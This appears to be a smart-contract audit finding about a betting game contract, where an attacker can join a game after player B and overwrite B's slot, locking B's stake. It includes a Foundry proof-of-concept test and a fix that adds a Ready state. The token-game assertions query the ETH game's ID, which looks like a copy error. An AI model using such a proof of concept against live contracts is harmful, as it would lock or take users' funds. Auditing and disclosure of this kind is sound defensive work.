The attacker can replace the user after the user joins the game but before the game starts, resulting in the user not only being unable to play the game but also suffering a loss of funds.
function testLockFunds() public {
address attacker = makeAddr("attacker");
vm.deal(attacker, 10 ether);
vm.prank(address(game));
token.mint(attacker, 10);
vm.startPrank(playerA);
uint256 gameIdWithETH = game.createGameWithEth{value: 1 ether}(TOTAL_TURNS, TIMEOUT);
token.approve(address(game), 1);
uint256 gameIdWithToken = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
game.joinGameWithEth{value: 1 ether}(gameIdWithETH);
token.approve(address(game), 1);
game.joinGameWithToken(gameIdWithToken);
vm.stopPrank();
(
address storedPlayerAWithETH,
address storedPlayerBWithETH,
, , , , , , , , , , , , ,
) = game.games(gameIdWithETH);
assertEq(storedPlayerAWithETH, playerA);
assertEq(storedPlayerBWithETH, playerB);
assertEq(address(game).balance, 2 ether);
(
address storedPlayerAWithToken,
address storedPlayerBWithToken,
, , , , , , , , , , , , ,
) = game.games(gameIdWithETH);
assertEq(storedPlayerAWithToken, playerA);
assertEq(storedPlayerBWithToken, playerB);
assertEq(token.balanceOf(address(game)), 2);
vm.startPrank(attacker);
game.joinGameWithEth{value: 1 ether}(gameIdWithETH);
token.approve(address(game), 1);
game.joinGameWithToken(gameIdWithToken);
vm.stopPrank();
(
storedPlayerAWithETH,
storedPlayerBWithETH,
, , , , , , , , , , , , ,
) = game.games(gameIdWithETH);
assertEq(storedPlayerAWithETH, playerA);
assertEq(storedPlayerBWithETH, attacker);
assertEq(address(game).balance, 3 ether);
(
storedPlayerAWithToken,
storedPlayerBWithToken,
, , , , , , , , , , , , ,
) = game.games(gameIdWithETH);
assertEq(storedPlayerAWithToken, playerA);
assertEq(storedPlayerBWithToken, attacker);
assertEq(token.balanceOf(address(game)), 3);
}
The user will not only be unable to play the game, but will also suffer a loss of funds.
Add a game state: Ready. Update the game status to this value after Player B joins the game.
enum GameState {
Created,
Ready,
Committed,
Revealed,
Finished,
Cancelled
}
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.state = GameState.Ready;
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
game.state = GameState.Ready;
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}